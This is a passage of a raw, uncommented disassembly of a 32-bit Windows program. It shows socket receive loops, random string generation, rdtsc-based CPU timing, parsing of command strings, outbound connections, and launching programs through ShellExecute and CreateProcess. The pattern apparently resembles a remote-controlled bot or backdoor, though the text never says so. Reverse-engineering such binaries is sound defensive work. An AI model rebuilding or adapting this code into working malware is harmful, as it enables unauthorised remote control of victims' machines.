		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449739
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 2811098h
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F40
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F40
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27F0BB0h
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E6C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E74
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F40
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E90
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E8C
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E88
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E84
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E80
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E7C
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E78
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 28005B2h
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E9C
		mov	ecx, off_444EA0
		mov	[esp+0], eax
		mov	al, byte_448F40
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444EA4
		rep stosd
		mov	ecx, off_444E94
		mov	[esp+10h], edx
		mov	dx, word_444E98
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
